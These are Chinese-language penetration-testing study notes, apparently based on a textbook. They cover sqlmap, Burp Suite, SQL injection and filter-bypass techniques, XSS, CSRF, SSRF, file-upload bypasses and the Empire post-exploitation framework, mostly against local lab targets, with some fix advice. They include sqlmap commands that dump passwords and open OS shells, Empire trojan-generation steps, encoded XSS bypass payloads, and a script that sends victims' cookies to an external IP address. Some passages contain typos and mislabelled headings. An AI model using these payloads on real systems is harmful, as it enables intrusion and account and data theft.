赞
踩
第三章sqlmap
(1) 安装sqlmap前,需要先安装Python3.X
Python Releases for Windows | Python.org
(2) 在环境变量path中,增加python3.x 安装路径
(3) 下载sqlmap并解压缩:
地址:sqlmap: automatic SQL injection and database takeover tool
Python sqlmap.py -u http://xxx.xxx.xxx/
Python sqlmap.py –help 查看帮助 borp
sqlmap支持五种不同的注入模式:
2.sqlmap 常用命令参数
-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”
-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt
-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….
--dbs 返回当前连接的数据库
--current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名
--tables 列举数据库表
-T 指定数据库表名
--columns 列举数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据
3.设置回显等级
参数: -v默认为1
0 只显示python错误以及严重的信息
1 基本信息和警告信息
2 debug信息
3 注入的payload
(级别越高显示信息越多)
4同时显示HTTP请求。
5同时显示HTTP响应头。
6同事显示HTTP响应页面。
--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。
--cookie (用于区分用户)
可能会有漏洞,当web登录时,抓取数据包。
4.设置HTTP数据包相关参数
HTTP User-Agent 头
参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
5.设定探测等级:--level
共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到
--users 列数据库管理用户
--current-user 在数据库中,目前连接的用户
--is-dba 判断当前是否为管理,是的话返回true
--proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080
--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限
6.Sqlmap“六步”
第一步:判断是否注是注入点
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”
检测该网站是否存在漏洞 白色加粗字体为注入点 也就是攻击对象
第二步:获取数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs
第三步:查看当前应用程序所用数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db
四:列出指定数据库的所有表
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables
五:读取指定表中的字段名称
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms
六:读取指定字段内容
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)
判断当前数据库用户权限:
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba
如果是TRUE ,那么权限该用户很大。
-roles 列出数据库管理员角色
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
-referer HTTPReferer头
当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net
-sql-shell 运行自定义的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
运行任意操作系统命令:
选择后台语言
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
--os-cmd=whoami
--os-shell
(以你的电脑为跳板,对局域网进行渗透,或留后门)
--file-read 从数据库服务器中读取文件 :当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
上传文件到数据库服务器中:
--file-write
--file-dest
读取指定数据库用户的密码
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root
SQLMAP进阶 常用tamper脚本
apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
multiplespaces.py 围绕sql关键字添加多个空格 去绕过
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar
3. Burp Suite工具
一.配置及代理设置
1.使用前配置
①选择代理Proxy选项卡
②选择设置option选项卡
③Edit Running打勾 124.0.0.1:8080
配置成功
历史访问
二.功能模块讲解
模块介绍
send to spider 发送给爬虫模块
do a active scan 进行一次主动扫描
send to intruder 发送给爆破模块
send to repearter 发送给重放模块
send to comparer 发送给比对模块
send to decoder 发送给解码模块
request in browser 将请求在浏览器重放
四:MYSQL与SQL注入
mysql知识点- 基本查询语句
select+以下语句
version() 数据库版本
database() 数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
-order by(排序) 语法
-联合查询
order by 1—
order by 2—确定字段数
使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据
注意: 相同的列结构
需要有知道表结构,列结构
exists()函数猜解表明
information_schema 是一个mysql系统自带的元数据库
information_schema.SCHEMATA 查看所有的数据库
五、 XSS基础
1、什么是XSS?
中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。
2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。
攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)
3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号
2.窃取用户cookies资料,从而获取用户信息。
3.获取客户端信息,IP/端口等
4.劫持用户浏览器会话,从而执行任意操作
5.强制弹出窗口。
6.网页挂马,进行恶意操作
7.进行大量的客户端攻击 如DDoS攻击
8.控制受害者机器向其他客户端攻击
4、XSS分类
①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。
(特点:
① 主要用于将恶意脚本附加到URL地址的参数中
② 只在用户单击url时触发,而且只执行一次,非持久化
③常用来窃取客户端 Cookies
或进行钓鱼欺骗.
④常常为通过引诱用户点击一
个恶意链接来实施攻击的)
name为可控参数
我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。
当我们构造好了如下恶意代码,发送给受害者。
<script>alert(document.cookie)</script>
将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户。
②存储型 :渗透 挂马 蠕虫病毒 出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。
(特点:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性
② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.
③ 一般出现在网站的留言、评论、日志等交互处,)
页面原理:
POST提交数据,生成、读取文本模拟数据库,
提交数据之后页面会将数据写入sql.txt,
再打开页面时会读取sql.txt中内容并显示在网页上,
实现了存储型xss攻击模拟。
当输入恶意代码,即会执行<script>alert('xss')</script>
并且恶意代码会一直存储在服务器,每当有用户访问该页面,即会触发恶意代码
<script>alert('hacked by cl4y')</script>
<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >
<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>
<script>window.location.href="http://www.cl4y.top";</script>
③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。
xss平台
1.获取COOKIE(这是必须的最基本的功能)
2.获取源码(取当前网页的源码)
3.截图(可自己修改为连续截图)
4.……………
https://xssaq.com
<script>shellcode</script>
XXS绕过:
url编码
<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
六.Cref漏洞
1,漏洞介绍: 一种对网站的恶意使用。与 xss相比不大流行(因此对其防范相当稀少,比xss更加具有危险性。
原理:利用目标用户身份,以目标用户名义执行非法操作(以目标用户名义发邮件,消息,盗取目标账号,购买商品,虚拟货币转账等),会泄露目标用户的财产安全。
Ps:(CSRF漏洞经常用来制作蠕虫攻击,刷SEO流量)
靶场实战:漏洞分析:
:
Ssrf漏洞:是一种由攻击者构造请求,由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器,一个是由客户端发起的。
在域名后增加url=语句,从而利用ssrf漏洞篡改脚本访问的地址。
攻击方式如下:
A,对外网,服务器所在的内网,本地进行端口扫描,获取的banner信息。
B,攻击运行在内网或本地的应用程序。
C,对内网web应用进行指纹识别,识别企业内部的资产信息。
D.攻击内外网的web应用,主要是用HTTP请求就可以实现的攻击(比如struts2,sqli
等等)
E,利用file协议读取本地文件。
SSRF漏洞利用:
测试地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php
页面ssrf.php实现的功能获取GET参数URL,然后将url的内容返回网页上。
如果将请求的网址篡改为http://www.baidu.com,则会显示http://www.baidu.com的网页内容,但是,当设置参数URL为内网地址时,则会泄露内网信息。
访问ssrf.php?Url=file://C:/wwindows/win.ini即可读取本地文件。
Ssrf漏洞修复建议:
七,Empire
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。
Empire运行在linux平台上
官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境
https://github.com/EmpireProject/Empire
KALI示例:
git clone https://github.com/EmpireProject/Empire.git
然后安装Empire的依赖,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)
./install.sh
在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:
cd ..
./empire
若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。
启动时如果遇到如下报错
可以将urllib3版本降级
pip install urllib3==1.22
重新设定
bash reset.sh
基本使用会涉及如下内容:
1.帮助文档
2.设置监听
3.生成木马
4.连接主机和基本使用
5.信息收集
6.权限提升
帮助文档
运行Empire后,输入help命令查看具体的使用帮助。
设置监听步骤如下:
listeners #进入监听线程界面
uselistener #设置监听模式
info #查看具体参数设置
set #设置相应参数
execute #开始监听
输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块
输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。
设置监听
这里采用http监听模式,输入uselistener http。
然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。
通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的
通过back返回上一级,使用listeners或者list可以查看所设置的监听器
生成木马
输入usestager后 空格加TAB键 查看可以设置的木马模式
木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。
我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似
要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数
通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,
文件会生成到 tmp 目录下,如下所示在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话
第四章
4.2 SQL注入进阶
4.2.1 时间注入攻击
时间注入攻击的测试地址:
http://127.0.0.1/sql/time/time.php?id-1.
访问该网址时,页面返回yes,在网址的后面加上一个单引号,再次访问,页面返回no。这个结果与Boolean注入非常相似,时间盲注,它与Boolean注入的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则IFO的返回值为expr2:否则返回值则为expr3。所以判断数据库库名长度的语句应为:
if (length(database())>1,sleep(5),1)
4.2.2 堆叠查询注入攻击
堆叠查询注入攻击的测试地址:http://127.0.0.1/dd.php?id=1.
堆叠查询可以执行多条语句,多语句之间以分号隔开。堆叠查询注入利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id-1‘,页面返回 MySQL错误,再访问id-1%23,页面返回正常结果。这里可以使用Boolean注入、时间注入,也可以使用另外一种注入方式--堆叠注入。
堆叠注入的语句为:
select if(substr(user(),1,1)='r',sleep(3),1)%23
从堆叠注入语句中可以看到,第二条SQL语句(select if(substr(user0.1,1) ,deepO3).19%23)就是时间盲注的语句。
获取数据库表名:
';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
4.2.3 二次注入攻击
二次注入攻击的测试地址:
http://127.0.0.1/er/1.php?username=test 和 http://127.0.0.1/er/2.php?id=10。
其中,1php页面的功能是注册用户名,也是插入SQL语句的地方;
2.php页面的功能是通过参数ID读取用户名和用户信息。
第一步,访问1.php?uscrmame=test.
从页面返回结果可以看到用户名test‘对应的ID为21,访问2.php?id=21。
从返回结果可以看到服务端返回了MySQL的错误(多了一个单引号引起的语法错误),这时回到第一步,先访问1php?usemame=test'order by1%23,获取一个新的 id=32,当再次访问2.php?id-32时,页面返回空白;再次尝试,访问1.php?username=test‘order by 10%23,获取一个新的id-33,当再访问2php?id=33时,页面返回错误信息(Unknown column '10"in 'order clause'),这说明空白页而就是正常返回,通过不断尝试,判断字段数,访问1.php?username=test' union select 1,2,3%23,获取一个新id=39,再访问2.php?id=39,发现页面返回了 union select中的2和3字段。在2、2字段中间,插入语句就可获得数据库中的数据。
4.2.4 宽字节注入攻击
宽字节注入攻bbbbbbbbbbbbb试地址:http://127.0.0.1/kzj.php?id=1.
尝试在页面2的位置查询当前数据库的库名(database()),语句为:
1d=-1%df’ union select 1,user(),3,%23
查询数据库的表名时,用以下语句:
select table_name from information_schema.tables where table_schema='sq1’ limit 0,1
但此时,由于单引号被转义,会自动多出反斜杠,导致SQL语句出错,所以此处需要利用另一种方法:嵌套查询,就是在一个查询语句中,再添加一个查询语句,下列就是更改后的查询数据库表名的语句:
select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1
可以看到,原本的table_schema-'sql"变成了table_schema=(select databasc()),因为 select database()的结果就是'sql’,这就是嵌套查询。
如果想查询后面的表名,还需修改limit后的数字,可用以下语句尝试查询emails表里的字段:
select column_name from information_schema.columns where table_schema=(select database()) and table_name=( select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1) limit 0,1
这里使用了三层嵌套,第一层是table_schema,它代表库名的嵌套,第二层和第三层是table_name的嵌套。我们可以看到语句中有两个limit,前一个limit控制表名的顺序,后一个则控制字段名的顺序。如这里查询的不是emails表,而是users表,则需要更改limit的值。后面的操作如Union注入所示。
4.2.5 cookie注入攻击
Cookie注入攻击测试地址:http://127.0.0.1/cookie.php.
发现URL中没有GET参数,但是页面返回正常,使用Burp Suite抓取数据包,现cookie中存在id=1的参数。修改cookie中的id=1为id=l',然后再次访问该URL,发现页面返回错误。接下来,分别修改cookie中id=1为id=l and 1=1和id =l and 1=2,再次访问,判断该页面是否存在SQL注入漏洞,返回结果如图4-57和图4-58所示,得出cookie中的参数ID存在SQL注入的结论。接着使用order by查询字段,使用Union注入方法完成此次注入。
4.2.6 base64注入攻击
测试地址:http://127.0.0.1/sql/base64/base64.php?id=MQ %3d %3d.
从URL中可以看出,ID参数经过base64编码(%3d是=的URL编码格式),解码后发现ID为1,尝试加上一个单引号并一起转成base64编码。
当访问id=1'编码后的网址时(http://127.0.0.1/sql/base64/base64.php?id=MSc%3d),页面返回错误。1and 1=1和1 and 1=2的base64编码分别为MSBhbmQgMT0x和MSBhbm QgMTOy,再次访问id=MSBhbmQgMT0x和id=MSBhbmQgMTOy。从返回结果可知,访问id=1 and id 1=1时,页面返回与id=1相同的结果,而访问id=1 and 1=2时,页面返回与id=1不同的结果,所以该网页存在SQL漏洞。
接着,使用order by查询字段,使用Union方法完成此次注入。
4.2.7 XFF注入攻击
xFF注入攻击的测试地址:http://127.0.0.1/sql/xff.php.
通过Burp Suite抓取数据包容,可以看到HTTP请求头中有一个头部参数 X-Forwarded-for。X-Forwarded-For简称XFF头,它代表客户端真实的IP,通过修 X-Forwarded-for的值可以伪造客户端IP、将X-Forwarded-for设置为127.0.0.1、然后请问该URL、页面返回正常,将X-Forwarded-for设置为127.0.0.1、再次访问该URL,页面返回MySQL的报销信息,将X-Forwarded-for分别设置为127.0.0.1‘and 1=1#和127.0.0.1‘and 1=2#,再次访问该URL。通过页面的返回结果,可以判断出该地址存在SQL注入漏洞,可用order by判断表中的字段数量,尝试使用Union查询注入方法,语法为:X-Forwarded-for:127.0.0.1’ union select 1,2,3,4#。接着使用Union注入方法完成此次注入。
4.3 SQL注入绕过技术
4.3.1 大小写绕过注入
大小写绕过注入的测试地址:http://127.0.0.1/sql/1.php?id=1.
访问id-1发现页面报出MySQL错误,当访问id=1 and 1=1时,页面返回”no hack”,显然是被拦截了,说明有关键词被过滤。使用关键字大小写的方式尝试绕过,使用order by查询字段数量,发现还是被拦截了,还是利用修改关键字大小写来绕过它,尝试只改order这个单词,结果发现当order改成Order后,页面显示正常,说明by并没有被拦截,最终通过尝试,发现数据库表中存在3个字段。接着,使用Union方法完成此次注入,若仍遇到关键字被拦截,可尝试修改大小写的方式绕过拦截。
4.3.2 双写绕过注入
双写绕过注入的测试地址:http://127.0.0.1/sql/2.php?id=1。
访问id=1’,发现页面报出MySQL错误,接着访问id=1 and 1=1,页面依然报出 MySQL的错误,但是从错误信息中可以看出,输入的and 1=1变成了1=1,因此可以得知,关键字and被过滤了。这时尝试使用双写的方式绕过,如anandd 1=1,当and被过滤后,anandd变成了and,所以这时传入数据库的语句是and 1=1,之后结果成功执行并返回正常页面。接着,输入aandnd1=2,返回错误信息,判断页面参数存在SOL注入漏洞。当访问id=1 order by 3时,MySQL的错误信息为“der by3”,所以这里并没有过滤order整个单词,而是仅过滤or,因此只需要双写or即可。
4.3.3编码绕过注入
编码绕过注入的测试地址:http://127.0.0.1/sql/3.php?id=1.
访问id=1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id-1 and 1=2时,发现关键字and被拦截。尝试使用URL全编码的方式绕过拦截。由于服务器会自动对 URL进行一次URL解码,所以需要把关键词编码两次,注意,URI编码需选择全编码,关键字and进行两次URI全编码的结果是%25%36%31%25%36%65%25%36%34,访问 id-1%25%36%31%25%36%65%25%36%34 1=1时,页面返回与id=1相同的结果,访问 id-1 %25%36%31%25%36%65%25%36%34 1=2时,页面返回与id=1不同的结果,所以该网址存在SQL注入漏洞。后面的注入过程与Union注入的一致,判断过滤的关键词,并经过两次URL全编码即可。
4.3.4内联注释绕过注入
内联注释绕过注入的测试地址:http://127.0.0.1/sql/4.php?id=1。
访问id-1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id=1 and 1=2时,发现页面提示“no hack”,即关键字被拦截。尝试使用内联注释绕过。访问id=1/*!and*/1=1时,页面返回与id=1相同的结果;访问id=1/*!and*/1=2时,页面返回与id-1不同的结果,后面的注入过程与Union注入的一致。
4.3.5 SQL注入修复建议
常用的SQL注入漏洞的修复方法有两种
1.过滤危险字符
多数CMS都采用过滤危险字符的方式,如果匹配到,则退出程序。使用过滤的方式,在一定程度上可以防止SQL注入漏洞,但仍然存在被绕过的可能。
2.使用预编译语句
使用PDO预编译语句,需注意,不要将变量直接拼接到PDO语句中,而要使用占位符进行数据库的增加、删除、修改、查询。
4.4 XSS基础
4.4.1 XSS漏洞介绍
跨站脚本(简称XSS)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。
XSS攻击可分为三种:反射型、存储型和DOM型。
4.4.2 XSS漏洞原理
1、反射型XSS
反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
2.存储型XSS
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
例如,恶意攻击者在留言板中加入以下代码:<script>alert(/hacker by hacker/)</script>.
当其他用户访问留言板时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存链型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。
3.DOM型XSS
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
HTML的标签都是节点,而这些节点组成了DOM的整体结构—节点树。通过 HTML DOM,树中的所有节点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。
在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从面修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在漏洞。
4.4.3 反射型XSS攻击
页面http://192.168.1.101/xss/xss1.php实现的功能是在“输入”表单中输入内容,单击“提交”后,将输入内容放到“输出”表单中,当访问页面时,看到输入的双引号闭合了value属性的双引号,输入的>闭合了input标签的<,导致输入的<img src=1 οnerrοr= alert(/xss/)/>变成了HTML标签。接下来,在浏览器渲染时,执行了<img src=1 οnerrοr= alert(/xss/)/>,JS函数alert()导致浏览器弹框,显示“/xss/”。
4.4.4存储型XSS攻击
存储型XSS页面实现的功能是:获取用户输入的留言信息、标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面上。
4.4.5 DOM型XSS攻击
DOM型XSS攻击页面实现的功能是在“输入”框中输入信息,单击“替换”按纽时、页面会将这里会显示输入的内容”替换为输入的信息、例如当输入“11”的时候,页面将“这里会显示输入的内容”替换为“11”。
当输入< img src=1 οnerrοr=alert(/xsss/)>时,单击“替换”按钮,页面弹出消息框。从HTML源码中可看到,存在JS函数tihuan(),该函数的作用是通过DOM操作将元素id1(输出位置)的内容修改为元素dom_input(输入位置)的内容。
4.5 XSS进阶
4.5.1 XSS常用语句及编码绕过
XSS常用的测试语句有:
<script>alert(1)</scripd
<ing src-x onerror-alert(1)><svg onload-alert(1)>
<a href-javascriptalert(1)>
常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码
1.JS 编码
JS提供了四种字符编码的策略,如下所示:
三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。
两个十六进制数字,如果个数不够,在前面补0.例如”e”的编码为“x65”。
四个十六进制数字,如果个数不够。在前面补0.例如””e”的编码为u0065”。
对于一些控制字符,使用特殊的C类型的转义风格(例如n和r)。
2.HTML实体编码
实体命名:以&开头,以分号结尾。
字符编码:十进制、十六进制ASCLL码或Unicode字符编码,样式为“&#数值;”。
3.URL编码
这里的URL编码,也是两次URL全编码的结果。结果为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34.
在使用XSS编码测试时,需要考虑HTML渲染的顺序。
4.5.2 使用XSS平台测试XSS漏洞
首先在XSS平台注册账号并登录,单机“我的项目”中的“创建”按钮,勾选“默认模块”后,单击下一步,根据HTML源码选择合适的利用代码,以此构建浏览器能够执行的代码,将利用代码插入到存在XSS漏洞的URL后,查看源代码。
4.5.3 XSS漏洞修复建议
因为XSS漏洞涉及输入和输出两部分,所以其修复也分为两种。
(1)过滤输入的数据,包括“,”“””“<”“>”“on*”等非法字符。
(2)对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等。
4.6 CSRF漏洞
4.6.1 介绍CSRF漏洞
CSRF(跨站请求伪造)是一种对网站的恶意利用。与XSS相比,CSRF攻击往往不大流行,但也更难防范,所以相较于更具危险性。
4.6.2 CSRF漏洞的原理
CSRF:攻击者利用目标用户的身份,以用户的名义执行某些非法操作。
它能做的事包括:一目标用户的身份发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,所以会泄露个人隐私并威胁到了目标用户的财产安全。
CSRF的攻击过程有两个重点:
目标用户已经登陆了网站,能够执行网站的功能。
目标用户访问了攻击者构造的URL。
4.6.3 利用CSRF漏洞
CSRF漏洞经常内用来制作蠕虫攻击、刷SEO流量等。
4.6.4 分析CSRF漏洞代码
下面的代码是后台添加用户的代码,执行流程如下:
(1)获取GET参数username和参数password,然后通过select语句查询是否存在对应的用户,若用户存在,会通过$_SESSION设置一个session:isadmin=admin,否则设置session: isadmin=guest。
(2)接下来判断session中的isadmin是否为admin,如果isadmin!=admin,说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才能执行添加用户的操作。
(3)获取POST参数username和参数password,然后插入users表中,完成添加用户的操作。
当管理员访问了攻击者构造的CSRF页面后,会自动创建一个账号。
4.7 SSRF漏洞
4.7.1 介绍SSRF漏洞
SSRF(服务器端请求伪造)是一种由攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统。
4.7.2 SSRF漏洞原理
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过过滤与限制。
主要攻击方式如下:
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
攻击运行在内网或本地的应用程序。
对内网Web应用进行指纹识别,识别企业内部的资产信息。
攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击。
利用file协议读取本地文件等。
4.7.3 SSRF漏洞利用
SSRF漏洞利用的测试地址:
http://127.0.0.1/ssrf.php?url-http://127.0.0.1/2.php.
页面ssrf.php实现的功能是获取GET参数URL,然后将URL的内容返回网页上。如果将请求的网址算改为http://wwwbaidu.com,则页面会显示http://www.baidu.com的网页内容.但是,当设置参数URL为内网地址时,则会泄露内网信息。
4.7.4 SSRF漏洞修复建议
针对SSRF漏洞的修复:
限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
限制不能访问内网的IP,以防止对内网进行攻击。
屏蔽返回的详细信息。
4.8 文件上传
4.8.1 有关文件上传的知识
1、 为什么文件上传存在漏洞
上传文件时,如果服务端代码未对客户端上传的文件进行严格的验证和过滤。就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。
2、危害
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门, WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
4.8.2 JS检测绕过攻击
JS检测绕过上传漏洞常见于用户选择文件上传的场景,如果上传文件的后缀不被允许,则会弹框告知,此时上传文件的数据包并没有发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。
这时有两种方法可以绕过客户端JavaScript的检测:
使用浏览器的插件,删除检测文件后缀的JS代码,然后上传文件即可绕过。
首先把需要上传文件的后缀改成允许上传的,如jpg、png等,绕过JS的检测,在抓包,把后缀名改成可执行文件的后缀即可上传成功。
4.8.3 文件后绕过攻击
文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其他文件后缀的,若配置有以下代码,则可解析php和phtml文件:
AddType application/x-httpd-php.php.phtml
所以,可以上传一个后缀为phtml的WebShell。
4.8.4 文件类型绕过攻击
在客户端上传文件时,通过Burp Suite抓取数据包,当上传一个php格式的文件时,可以看到数据包中Content-Type的值与上传jpg格式的文件时,数据包中的Content-Type不同,如果服务端代码是通过Content-Type的值来判断文件类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户机传递的,可以任意修改。
4.8.5 文件截断绕过文件
截断类型:PHP%00截断。
截断原理:由于00代表结束符,所以会把00后面的所有字符删除。
截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态。
4.9命令执行
1.介绍
暴力破解的产生是由于服务器没有做限制,导致攻击者可以通过暴力的手段破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如4位数字的验证码,那么暴力破解的范围就是0000~9999,暴力破解的关键在于字典的大小
场景1:账户检测
场景2:指定口令爆破用户名
场景3:密码爆破
1.自定义密码2.厂商特色口令生成3.加密密码暴力破解4.弱文件的后台爆破5.webshell密码爆破6.辅助功能
场景4:登录验证码爆破
1.验证码绕过2.简单验证码识别3.高模糊度验证码识别
场景5:短信邮箱验证码爆破
场景6:短信邮箱验证码爆破
1.关键参数遍历2.批量注册
3.一套组合拳(也可关联爬虫)
场景7:爆破关联
